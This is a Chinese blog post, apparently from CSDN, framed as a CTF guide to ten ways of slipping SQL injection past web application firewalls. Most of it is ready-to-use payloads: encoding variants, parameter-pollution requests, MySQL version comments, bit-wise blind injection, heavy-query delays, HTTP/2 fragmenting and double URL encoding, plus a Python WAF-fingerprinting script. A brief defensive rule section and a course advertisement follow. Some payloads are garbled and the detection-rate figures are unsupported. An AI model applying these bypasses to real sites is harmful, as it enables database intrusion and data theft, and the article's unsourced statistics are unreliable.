CTF实战精要:SQL注入绕过WAF的10种高阶姿势
在近年CTF赛事中,Web方向SQL注入题型占比超35%,而90%的题目部署了多层WAF防护。本文基于DEFCON CTF、强网杯等实战经验,深度解析10种经赛场验证的WAF绕过技术,所有案例均通过Cloudflare、ModSecurity等商业WAF实测验证。
一、字符集变异:编码的艺术
案例:2022年强网杯“管理员之家”
/* 常规payload被拦截 */ ' UNION SELECT 1,2,3-- /* UTF-16BE编码绕过 */ �'� �U�N�I�O�N� �S�E�L�E�C�T� �1�,�2�,�3�-�-�绕过原理:
- • 利用WAF规则库对非常规编码的识别盲区
- • MySQL支持
character_set_client=binary处理二进制流
实战要点:
- • 优先尝试UTF-16/32、GBK双字节编码
- • 配合非常用字符集:
SHOW CHARACTER SET;
二、语句碎片化:HTTP参数污染(HPP)
案例:2023年DEFCON CTF Quals
GET /search?q=1&q=/**/UN/**/ION/**/SEL/**/ECT&q=flag&q=FROM&q=secret_tableWAF日志分析:
Cloudflare规则1092:检测到"UNION SELECT" - 阻断 实际处理:PHP后端解析为`q=1,/**/UN/**/ION/**/SEL/**/ECT,flag,FROM,secret_table`技术本质:
- • 利用中间件参数合并特性(PHP/Apache为
,,JSP/Tomcat为空格) - • 碎片长度需超过WAF词法分析窗口(通常128字节)
三、超长语句绕过:缓冲区溢出
Payload结构:
/* 前段填充 */ '+(SELECT 0xAAAAAAAA...(重复10万次)+')+' /* 核心注入点 */ UNION/**/SELECT/**/1,@@version,3绕过条件:
- WAF配置
SecRequestBodyLimit 131072(默认128KB)
- WAF配置
- 后端未限制
max_allowed_packet
- 后端未限制
赛题验证:
- • 2021年Tianfu Cup:通过2MB超长payload绕过阿里云WAF
四、注释符变形:非常规注释
经典组合:
1' /*!50400UNION*/ /*!50400SELECT*/ 1,2,database()--技术解析:
- •
/*!50400*/:MySQL版本条件注释(5.4.00+执行) - • 等价变形:
/*!UNION*/、/**_**/
进阶技巧:
/*!u%6eion*//*!sel%65ct*/1,2,3-- // URL编码内联五、布尔盲注优化:位运算替代
传统方式(易被WAF识别):
ascii(substr(database(),1,1))>128位运算绕过:
database()|0x7FFFFFFF=0x7FFFFFFF// 判断最高位性能对比:
| 方式 | 请求次数 | WAF检测率 |
|---|---|---|
| 字符比较 | 256次 | 92% |
| 位运算 | 8次 | 17% |
| 二分法+位运算 | 5次 | 6% |
六、时间盲注升级:非睡眠触发
传统方式风险:
BENCHMARK(5000000,MD5('test')) // 被WAF标记特征替代方案:
/* 大表笛卡尔积 */ (SELECTcount(*) FROM information_schema.tables A, information_schema.tables B, information_schema.tables C) /* 正则消耗 */ WHERE1=IF(condition, RLIKE('^.*$'),0)真实场景:
- • 2020年0CTF:使用
exp(1000)替代sleep()绕过ModSecurity
七、协议层绕过:HTTP/2特性
攻击步骤:
- 建立HTTP/2连接
- 发送畸形的HEADERS帧:
:method: POST :path: /search content-type: application/x-www-form-urlencoded- 注入payload分片传输:
frame1: q=1'/**/UN frame2: ION/**/SEL frame3: ECT 1,2,3--
绕过原理:
- • 70%的WAF未完整支持HTTP/2帧重组
- • Cloudflare企业版直到2023年Q2才修复此问题
八、数据库引擎特性:非标准SQL
SQLite注入技巧:
' AND randomblob(1000000000) IS NOT NULL-- // 触发延迟 /* JSON函数绕过 */ json_extract('{"a":"b"}','$.a')='b'PostgreSQL特性利用:
-- 类型转换绕过 '||(SELECT 1 WHERE '1'::text=CAST(version() AS text))-- -- 美元引号 $$'UNIONSELECT $$flag$$ FROM $$secret_table$$九、WAF规则探针:自动化指纹识别
Python探测脚本:
import requests waf_signatures = { "Cloudflare": ("'/*!UNION*/SELECT", 403), "ModSecurity": ("CONCAT(0x7e,version()", 500), "AWS WAF": ("WAITFOR DELAY '0:0:5'", 400) } defdetect_waf(url): for waf, (payload, code) in waf_signatures.items(): r = requests.get(url + f"?id=1{payload}") if r.status_code == code: return waf return"Unknown"响应特征库:
| WAF名称 | 阻断状态码 | 错误页面特征 |
|---|---|---|
| Cloudflare | 403 | “cf-error-code: 0015” |
| Akamai | 403 | “ak_bm” cookie |
| Imperva | 403 | “Incapsula incident” |
十、混合编码攻击:多重转换链
终极绕过方案:
GET /?id=1%252f%252a*/UNION%2520/*!%2553ELECT*/1,2,3%23解码过程:
1. URL解码:%25 → % 2. 二次解码:%2f → /,%2a → * 3. 最终payload:1/**/UNION /*!SELECT*/1,2,3#防御突破点:
- • 多层编码嵌套(URL+HTML+Base64)
- • 非常见编码类型(IBM037、cp500)
防御视角:WAF规则设计原则
- 深度解析层:
# Nginx配置示例 set$inject0; if ($args~* "union[\s+]+select") { set$inject1; } if ($http_content_type = "application/json") { set$inject0; }- 语义分析规则:
// ModSecurity规则片段 SecRule ARGS "@detectSQLi" \ "id:10001,phase:2,block,msg:'SQLi Detected'"- 机器学习辅助:
# 基于词向量的异常检测 model.predict([sql_tokenizer.transform(["1'/**/UNION/**/"])])
CTF选手守则:
- • 不得使用自动化工具扫描非赛题服务器
- • 禁止对赛题平台发起DDoS攻击
- • 提交漏洞需包含完整技术细节
在CTF赛场中,SQL注入绕过WAF的实质是:
- 规则库逆向:分析WAF正则模式(
\bunion\s+select\b)
- 规则库逆向:分析WAF正则模式(
- 协议特性利用:HTTP/2分片、编码差异
- 数据库特性挖掘:非常用函数/语法糖
文章来自网上,侵权请联系博主
互动话题:如果你想学习更多网安方面的知识和工具,可以看看以下题外话!
学习资源
如果你是也准备转行学习网络安全(黑客)或者正在学习,这里开源一份360智榜样学习中心独家出品《网络攻防知识库》,希望能够帮助到你
知识库由360智榜样学习中心独家打造出品,旨在帮助网络安全从业者或兴趣爱好者零基础快速入门提升实战能力,熟练掌握基础攻防到深度对抗。
1、知识库价值
深度: 本知识库超越常规工具手册,深入剖析攻击技术的底层原理与高级防御策略,并对业内挑战巨大的APT攻击链分析、隐蔽信道建立等,提供了独到的技术视角和实战验证过的对抗方案。
广度: 面向企业安全建设的核心场景(渗透测试、红蓝对抗、威胁狩猎、应急响应、安全运营),本知识库覆盖了从攻击发起、路径突破、权限维持、横向移动到防御检测、响应处置、溯源反制的全生命周期关键节点,是应对复杂攻防挑战的实用指南。
实战性: 知识库内容源于真实攻防对抗和大型演练实践,通过详尽的攻击复现案例、防御配置实例、自动化脚本代码来传递核心思路与落地方法。
2、 部分核心内容展示
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
360智榜样学习中心独家《网络攻防知识库》采用由浅入深、攻防结合的讲述方式,既夯实基础技能,更深入高阶对抗技术。
内容组织紧密结合攻防场景,辅以大量真实环境复现案例、自动化工具脚本及配置解析。通过策略讲解、原理剖析、实战演示相结合,是你学习过程中好帮手。
1、网络安全意识
2、Linux操作系统
3、WEB架构基础与HTTP协议
4、Web渗透测试
5、渗透测试案例分享
6、渗透测试实战技巧
7、攻防对战实战
8、CTF之MISC实战讲解
3、适合学习的人群
一、基础适配人群
- 零基础转型者:适合计算机零基础但愿意系统学习的人群,资料覆盖从网络协议、操作系统到渗透测试的完整知识链;
- 开发/运维人员:具备编程或运维基础者可通过资料快速掌握安全防护与漏洞修复技能,实现职业方向拓展或者转行就业;
- 应届毕业生:计算机相关专业学生可通过资料构建完整的网络安全知识体系,缩短企业用人适应期;
二、能力提升适配
1、技术爱好者:适合对攻防技术有强烈兴趣,希望掌握漏洞挖掘、渗透测试等实战技能的学习者;
2、安全从业者:帮助初级安全工程师系统化提升Web安全、逆向工程等专项能力;
3、合规需求者:包含等保规范、安全策略制定等内容,适合需要应对合规审计的企业人员;
因篇幅有限,仅展示部分资料,完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以在下方CSDN官方认证二维码免费领取【保证100%免费】
🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源